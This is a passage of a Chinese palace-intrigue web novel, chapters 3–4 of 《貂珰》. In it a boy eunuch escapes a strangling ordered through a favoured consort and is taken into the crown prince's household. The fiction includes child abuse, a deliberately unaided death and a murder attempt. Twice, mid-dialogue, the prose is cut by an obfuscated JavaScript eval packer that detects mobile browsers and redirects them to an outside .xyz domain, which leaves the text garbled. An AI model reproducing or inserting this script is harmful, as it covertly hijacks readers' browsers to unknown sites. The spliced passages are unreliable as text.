《貂珰》 3. 第三回 蓬莱殿内，佛案前，淑妃闭着双目，双手合拢，手上挂着一串星月菩提，正念念有词，殿外宫人传话，一路传进，殿内贴身的宫人上前，在淑妃身旁轻轻说了两句。 淑妃睁开眼，凤眼斜睨，“他自个儿作死，怎敢求到我这里来？” “娘娘，”宫人轻声道，“王满春算不得什么，只这事是太子发难，恐太子别有深意。” 淑妃良久不言，重闭上眼深深一拜后提裙起身，宫人连忙上前搀扶。 “你将此事前因后果，细细说与我听。” 淑妃这厢还在询问，内侍省里，王满春却是坐立不安，不住地在屋内来回踱步。 “师傅，我打听了，是瑞春的徒弟！” 小太监急跑进屋，忙向王满春禀告。 王满春先是一惊，随即重重地拍了下大腿，“他哪来的什么徒弟？又如何与太子牵扯上？” 这个问题，宫闱令也在思量，他上下打量卿云，忽地冷冷一笑，“狗奴才，你想诳本公公？” 卿云心中并非不怕，只是如今怕就是死，唯有硬挺着，心中既恨太子多管闲事，又想这未尝不是转机。 “听凤池是什么地方，公公您比我清楚，天底下哪有那么巧的事，我与福海刚在此间拉扯，太子便正好经过？” 宫闱令心中也正这般思量着，他是怎么也不信世上哪有这般巧事，玉荷宫的小太监，宫闱令也糊涂了，玉荷宫里还有太监当差？且正巧又是前些日子被杖杀的瑞春徒弟，怕不是太子当时便留了心？ 宫闱令一时拿不定主意，只得先放了卿云在此，且看那王满春如何行事，不想真担了干系。 卿云被独留在牢房中，他今年不过也才十三岁，只剩下他一人时，面上也不禁露出惶然之色。 自卿云有记忆以来便在玉荷宫中当差，先前是位尺素姑姑一向管教着他，永平七年，皇帝大赦，放了一批宫人出去，尺素便在其中，之后瑞春便成了他师傅。 与尺素相比，瑞春待他倒不是那么严厉，只也不许他出玉荷宫半步，每每瑞春离去之时，便将宫门上锁，叫卿云和惠妃那个疯婆子被困在一处。 惠妃在前朝便早失了宠，家中父兄又不能审时度势，皇帝入京时多有抵抗，全都死在了永平元年。 惠妃无儿无女，疯疯癫癫，对卿云动辄打骂，卿云幼时难以抵挡，有一回险些被惠妃溺死在水缸里。 卿云百般哭求瑞春放他出玉荷宫，便是出去做个最低等的洒扫太监也比在这儿强，瑞春却是怎么都不肯。 玉荷宫常日里饭食短缺，卿云饥一顿饱一顿地逐渐长大，终于能和惠妃抗衡，惠妃打他，他便还手。 “疯妇，我操-你娘！” 卿云揪了惠妃的长发，惠妃一面尖叫，一面拿指甲抓卿云的胳膊，又去踹他的子孙根。 卿云常记得惠妃在他幼时喜欢揉捏他天残的那处，那尖指甲刮得他痛不欲生，如今总算能奋起反抗，恨不能将她一气打死。 可叹他天生羸弱，照理说哪怕是太监，毕竟生为男子，力气总胜过女子，卿云却不行，他总也打不过惠妃，常被惠妃踢打得四处逃窜。 兴许再长大一些，他能收拾得了那疯婆子，然而终是老天开眼，先叫那将他锁在冷宫的瑞春卷入夹带之中被杖杀。 前些日子，他正盘算着如何除掉惠妃那疯婆子，惠妃自个在玉荷宫里不知误食了什么，倒在那乱草中，口吐白沫，浑身不住抽搐。 卿云发现时，惠妃还有口气在，艰难“嗬嗬”出声，目露凄楚哀求之色，是在求卿云救她。 卿云环抱着饭食坐下。 “贱妇，你且去吧，你死后我也绝不替你收尸，叫你成个孤魂野鬼，来世不得托生。” 卿云笑声清脆，看着惠妃鼓睛暴眼，吐血而亡，吃得极为香甜，这是他十几年来吃得最香的一顿。 天可怜见，叫这些恶人一个个先死，卿云喜不自胜，再三拜过天爷，心里盘算着出了这冷宫，另谋差事，不说立时做出什么了不得的事业，总得先寻条出路，在宫中能混口饭吃。 卿云在玉荷宫里多番计较谋划，然他成日被困在玉荷宫里，瑞春也不大同他说宫中事，他知之不多，一时想不出什么好法子，倒是见了福海，心中才慢慢有了计划。 他原想以利换之，未曾想福海言语挑逗，对他满是轻浮，福海当他懵懂无知，他却是从小被惠妃那疯妇折磨，还有什么不明白的。 色字头上一把刀，既他不想活了，自己何不取而代之？ 卿云想得容易，福海死了，他便有了机会，可想办法补他的缺，只没料到横杀出个太子，将他原本的计划全打乱了。 情急之下，卿云才将夹带之事喊了出来。 惠妃那疯妇除了喜欢责打他之外，也常自言自语说些前朝与那些嫔妃在宫中相斗之事，卿云耳濡目染，听了不少。 宫里太监是最下等的，两个小太监之间闹出这些丑事也只是小事，哪有谁会真给他们厘清什么是非对错，杀了干净就是，为今之计他只有拖越多人下水，将水搅得越浑才有一线生机。 瑞春出事之前已心有所感，那日反常地在玉荷宫与卿云说了好一会儿话。 “卿云，尺素将你托付于我，我也没什么本事，只能保你一时平安，你记住，在宫中行走，最紧要的便是小心谨慎，吃苦受罪都不打紧，只要保住了命，将来或有出宫的机会。” 卿云听罢，问道：“你得罪了人？” 瑞春苦笑。 “是谁？” 瑞春没有隐瞒，“内给事王满春，他是淑妃的人，淑妃是宫里最得宠的，”瑞春之所以全盘托出，非是要卿云为他报仇，他知卿云心中怨恨他，怕的是卿云不知天高地厚，枉送性命，“在这宫里，太监是最下贱的，底下没根，顶上无人，草芥一般，说没就没了，卿云，莫怪我，也莫怪命，什么都别怪，兴许有一日，皇恩浩荡，你和尺素一样，能出了这宫，重做回人。” 卿云记住了。 内给事王满春是淑妃的人，淑妃是宫里最得宠的。 太子是先皇后所生，淑妃所生的是齐王，齐王是皇长子，比太子只大三日。 王满春、淑妃、齐王、太子。 只能赌这一把。 卿云也不知自己在赌什么，他想起太子，太子说话和气，眉宇间自有一股端庄华贵之气，似是真愿为两个太监分辨是非。 卿云一时忘了先前他还在心中怨恨太子多管闲事，他方才狐假虎威，只能骗得过宫闱令一时，现只盼太子会遣人来问。 倘若太子真是端方君子，必会将此事管到底。 倘若太子不过表面仁厚，现下此事既牵扯到了淑妃，太子心中说不定也会别有计较，不会放过这个机会。 于情于理，卿云认为自己此次应当能苟活下去，他也只能这么认为，说不准，还能攀附上东宫……思及此，卿云便精神振奋起来，身上苦痛也减轻了不少。 * 蓬莱殿内外一片静穆，时有宫人出入，上前禀报。 宫人静静听了，不住颔首，随即转向内殿，“娘娘，王满春惶恐，求娘娘做主。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969465|177769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 淑妃手卷了那串星月菩提，“今日两仪殿议事，我听闻太子和齐王又是意见相左。” 宫人道：“齐王和太子颇有分歧，皇上不置可否。” “他是兄长，理当相让，”淑妃细眉微蹙，“他总不肯听我的。” “齐王殿下心系国事，心无杂念，一切以国事为重。” “国事？那是皇上该挂心的。” 淑妃手扶了下额头，“罢了，你去办吧。” 宫人是淑妃身边的大宫女，陪在淑妃身边十来年，淑妃只一个眼神手势，她便心领神会，立即叫来个小太监一番吩咐，小太监不住点头，领命后向着内侍省狂奔而去。 “蓬莱殿里的小太监进了内侍省。” 李照人正立在书桌后，看他先前没看完的书卷，闻言轻一抬眼。 那一眼叫率更令头低得直埋到胸口，他硬着头皮道：“太子殿下，淑妃既已插手，您是否就算了。” 李照卷了书绕到书桌前，轻敲了下率更令的肩膀，“杨沛风，你倒懂权衡。” 杨沛风跪地道：“太子殿下明鉴，臣以为淑妃与夹带之事绝无关联，定是那些个犯了错的奴才，心中害怕，哀求旧主出手相助，此事宫中常有，杀不绝，灭不断，两个奴才罢了，太子您何苦趟那浑水？” “两个奴才闹起来不是什么大事，”蓬莱殿的小太监进了内侍省，亦是恭恭敬敬，他直接去见了内给事，“小太监嘴不把门，胡说八道，他随便胡咧咧两句，咱们就当个真事，那成日里便不用当差了，公公，您说是不是？” 王满春一听便喜上眉梢，“我明白了，你去回禀淑妃，多谢淑妃娘娘。” 小太监道：“这是内侍省的事，谢什么娘娘，娘娘只是派我来内侍省取些东西。” “是、是。” 王满春自是明白淑妃的意思，忙叫一旁的小太监封了金叶子给他，那小太监推脱一番后便收下离去。 王满春立即吩咐了人，他轻轻做了手抹脖子的动作，“要快。” 却说牢房里的卿云还在等着后话，忽听得脚步声，他精神一振，却见来的不是宫闱令，倒是个年龄瞧着比他大不了多少的小太监，心下顿时一凛，他手脚都僵硬紧张起来，再瞧那小太监从袖子里抖出一根麻绳，立时喝道：“你不要命了，敢对我下手，不怕太子杀你？！” 那小太监也是接了命令而来，宫闱令早已命其余人悄悄离去，只留两个人分别解决了福海和卿云。 那小太监也不多废话，上前直将麻绳绞在卿云脖子上绕了几圈，任凭卿云如何抖动挣扎，他都毫无动摇，人转到刑架子后头，双手缠紧了绳子，颤声道：“对不住，我也不想杀你，怪只怪你命不好，下辈子投个好胎，别进宫了。” “嗬——” 麻绳方一用力，卿云便觉喉咙处被绞死了，痛得他只想大喊，出声却是一丝两气的咳嗽，他手脚俱被绑得紧紧的，整个人贴在刑架上颤抖不已，眼前一阵眩晕光彩，他仿佛看到了惠妃和瑞春正得意洋洋地瞧着他。 不……他不想死…… 卿云痛苦地仰起头，他拼命地张开嘴想要呼救，却是连咳都咳不出，张嘴只有一条红艳艳的舌头不甘地抖颤，快要从他的喉咙里逃出生天。 “好大胆，竟敢明目张胆在内侍省里杀起人来了！” 小太监被一脚踹开，紧束在卿云脖上的麻绳失了力道，卿云的头立即坠了下去，来人连忙扶住他软绵绵的脑袋，手指在他鼻下一探，心下一沉，回头看向太子。 “殿下，人还活着。” 4.第四回 卿云哑了三日，第四日总算开口能言，声音却是粗哑难听，和从前判若两人。 “我何时能见到太子，当面谢恩？” “先不忙谢恩……把药喝了。” 长龄递上药碗，“太子事忙，暂且顾不得你。” 卿云捧起药碗，一气将那苦药饮尽，长龄笑道：“你小小年纪，倒不怕苦。” “在玉荷宫里什么苦都吃过，这又算得了什么，况且这是药，能治我的病，便是再苦，我也要喝。” 长龄微微一笑，道：“你是个懂事的。” 当日太子将昏迷中的卿云交给他照顾。 “长龄，待他醒了，你好生安抚，”太子轻叹了口气，“倒是我思虑不周，险些害了这小太监。” 福海在衙门里早已认了欺辱卿云，挨了三十杖，太子到时，人未死，却也只剩下了一口气。 卿云咬死的夹带之事，太子亲临内侍省，也没逼迫到底。 “人命关天，你们便是这样审案？草菅人命、凌辱弱小，这就是内侍省的规矩？人我带走了，剩下的你们自去肃清，别叫孤失望。” 当日，杨沛风与太子议事时，长龄正伺候在侧，杨沛风进言劝太子莫再插手此事时，太子正思索着，忽道“不好”。 “速去内侍省！” 原本只是两个太监之间闹出来的丑事，李照不愿见宫中太监受人欺凌，亦不愿真闹得满宫不宁，所以暗示下去，要他们只将事涉人命的案子好好查清便是。 可他的心意，他的人能明白，宫闱令细细揣摩之后应当也能把握好分寸，只是这王满春身负人命，惊惶之下竟去请了淑妃。 淑妃一向心思重，恐生误会，两个小太监便要没命了。 太子转念之间，当机立断去内侍省要人，怕率更令遇到阻拦与人纠缠，反误了事，干脆自身前往，千钧一发，才救下了那小太监，只可惜另一个小太监伤重不治，丢了性命，那小太监原也罪不至死。 莲花灯顺水而下，太子双手负于身后，静静地看着水中朵朵莲花远去。 祭祀祈福从早到晚足持续了四个时辰，放灯之后，众臣退下散去，皇帝另召了太子，父子二人在凤仪殿用了晚膳。 天边浓云密布，星月不显，皇帝与太子临门远望，道：“今日，朕瞧你似不安乐。” “儿臣思念母后。” 皇帝道：“你有孝心。” “父皇以天下百姓为念，儿臣有所不及。” “你也未尝不心怀良善。” 李照明白皇帝是在说前段日子内侍省的事。 他虽是太子，却也管不上内侍省的事，他亲临内侍省，插手内侍省审案，已是逾越了他太子的本分。 李照道：“儿臣不愿有无辜之人丢了性命。” 这厢皇帝与太子闲谈，那边蓬莱殿内淑妃也正与宫人商议，今日祭祀祈福，淑妃得见齐王，母子俩却没说上话，淑妃心系儿子，怕宫中事务影响了齐王，难免面露忧虑。 “娘娘放宽心，皇上嘴上不说，心里头还是不悦，今天祈福时，齐王放灯，皇上托了一把，太子放灯，皇上却没理会。” 宫人宽慰淑妃，淑妃却是依旧愁容不展，“我只怕皇上疑心宫中夹带是我在替那些奴才撑腰，从中得利。” “怎么会，娘娘您一向德行出众，皇上圣明，不会误会娘娘的。” 淑妃淡淡一笑，手指轻抚了下脖颈上的珍珠链子，“但愿，”她眸光下撇，“我听说太子把那小太监带回东宫了？” “是，进了东宫再没出来过。” “好，我就知道区区一个小太监哪来那么大的狗胆包天。” 宫人不敢应答。 淑妃手攥了星月菩提，今日先皇后忌辰，她身为宫妃之首，不可谓不尽心尽力，行礼诵经，一刻也不敢放松，她仰望了案上佛像，心中多少不平，只恨陈氏凋零，未及杨家势大，害她当年只得做妾，自己的儿子也当不上太子。 如今杨家也渐渐都退了，皇帝嫔妃不多，也不怎么热衷后宫，唯有太子、齐王，皇帝还未登基时便有的两个儿子。 这些年来，淑妃一直苦熬着，眼看齐王渐渐长大，能力出众，常替皇帝办事，皇帝也喜爱，早早便封了王，多加恩典，只是无论如何，这恩典就是不能再进一步。 淑妃心中气闷，却也无可奈何，只能在宫里处处小心周全，期盼能多得皇帝恩宠，也是为自己的儿子多一份助力。 今日，淑妃并不像宫人看到得那般，也不像她自己说得那般惶恐皇上会疑心。 若说先前淑妃心中还有一丝怀疑此事是太子发难，如今太子居然堂而皇之地将那小太监带回了东宫，淑妃便断定那小太监绝非受太子指使，如今只在宫人面前假作忧心罢了。 太子恃宠而骄，着实狂悖。 为了个小太监，竟如此行事，皇帝即便再宠爱太子，也会心有不快，一是太子僭越，二是太子过分仁厚，非帝王之相。 此刻淑妃表面忧愁，心里却是高兴的，她派人去内侍省本就是虚晃一枪，若太子不插手，两个小太监，杀了就杀了，碍不着什么，若太子当真插手，便是今日局面。 这一番心思，便是身边最信任的大宫女，淑妃也不会明说。 淑妃的心思，东宫幕僚们却是琢磨出了味道，太子一回东宫，詹事便立即迎了上去，“太子……” 李照看他的脸色便知道他要说什么，摆了摆手，径直略过了人，“明日再说。” 詹事无可奈何，只能垂手叹气。 为救一个小太监，惹出了那么多事，李照身处其中，却是泰然自若，沐浴之后叫来长龄，询问那小太监现下如何。 “身上都是些皮外伤，不打紧，养上十天半个月就能好全，就是那嗓子，”长卿轻声道，“太医说怕是好不了了。” 李照还记得那小太监的声音，清脆如莺啼，一双眼睛万般委屈千般不忿，竟敢直视着他，反问自己为何要受罚，李照淡淡一笑，“你好生照顾他，他也是个可怜人，日后就留在东宫了。” “是。” 长龄上前点香，李照躺在床上，眼前时时浮现那小太监的可怜相，忽而侧身，他也方才十八，除人人赞颂的沉稳之外，到底还有些少年心性，在伴着自己长大的贴身太监面前露了出来，“长龄。” “奴才在。” “那小太监如何？” “是个懂事的孩子。” “懂事？”李照莞尔，“我倒瞧他不大懂规矩。” 长龄也笑了，“是，他打小就在玉荷宫里伺候，他那师傅也不怎么教他规矩，是有些糊涂。” 李照道：“他连自称奴才都磕磕绊绊。” 长龄道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973218|177769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奴才会教他规矩。” 李照躺回去，片刻又重翻过身，“罢了，你还是别教他了，怕又教出个小长龄，未免也太无趣。” 长龄听了也不恼，笑道：“太子您这是给自己找了个乐子回来。” 李照道：“孤是瞧他可怜，”他神色微黯，“母后仁慈，从不苛待宫人。” “太子您亦仁厚。” “你就别在我面前说这些了……”李照轻呼了口气，“他如今能下地吗？” “能，便是不大方便，需人搀着才好。” “你明日带他来见我。” “是。” 太子睡下，长龄退了出去，回到自己屋中，他方一点灯，便听床上窸窸窣窣的动静。 “长龄公公。” “你醒啦？” 长龄吹亮蜡烛，笑盈盈地看向床上的卿云。 烛光下，卿云披散了一头乌发，正半趴在床上，脸色比前些日子从内侍省出来时好多了，只还是白，瞧着血色不佳，小脸尖尖的，声气虚弱。 “公公，我渴。” “瞧我忙的，都忘了你了。” 长龄连忙倒了茶过去，卿云像是渴极了，就着长龄的手饮下一杯茶，还是不够，眼巴巴地望着长龄，长龄失笑，忙找了个大碗喂他。 “饿了吧？” 长龄将食盒放在床边的小几，“我从膳房拿了些吃食，今日是先皇后忌辰，不动明火，都是些冷食，你将就吃一些。” “多谢公公。” 东宫的冷食也比玉荷宫平日里的饭食不知美味多少，卿云狼吞虎咽，吃得凶猛，长龄在一旁瞧着，有心指点，又想起太子所言，便不作声了。 这几日他照顾卿云，从旁瞧着这真是个极不懂规矩的小太监。 太监们打小训练有素，行走起卧都是一个模子里刻出来的，即便不在主子跟前，用膳也不会这般没遮没掩，像是八百辈子没吃过饭似的。 长龄知道像卿云这样在冷宫里当差的太监那是没什么好日子过的，也必定没吃过什么好东西，只是明日太子要见他，长龄还是不得不提点几句。 “慢点吃，”长龄温和道，“小心噎着。” 卿云应了一声，嘴仍然嚼得很快。 “太子殿下明日要见你。” 卿云嚼糕饼的动作忽然停下，他抬起头，一张巴掌大的小脸满是惊喜，大眼珠子里烛光摇曳，里头光彩迸发，似有万千欣悦，让人瞧着心里也跟着欢喜起来，长龄暗叹好眼，凭这一双眼睛，太子不会不宠他的，长龄轻声道：“在太子殿下面前可要懂规矩，”他面上带着笑，看了一眼卿云身上落下的糕饼屑，“可不能像现在这般，得稳重些。” 卿云等了许久，终于等到能够面见太子，心中一股强烈的兴奋袭来，他连手都抖了，放下糕饼，就去拉长龄的手，“长龄公公，但求您给句准话，太子殿下他是什么意思？” “什么什么意思？” 卿云紧紧攥着长龄的手，“太子殿下是要问我话吗？” “这……太子殿下召见你，自然是要问话的。” “那问完了呢？” 卿云面上现出惶恐之色，长龄这下终于明白了，他笑道：“问完了，就继续养伤，等你养好了，看太子殿下给你安排什么差事，你就好好留在东宫当差，这回你可是因祸得福啦。”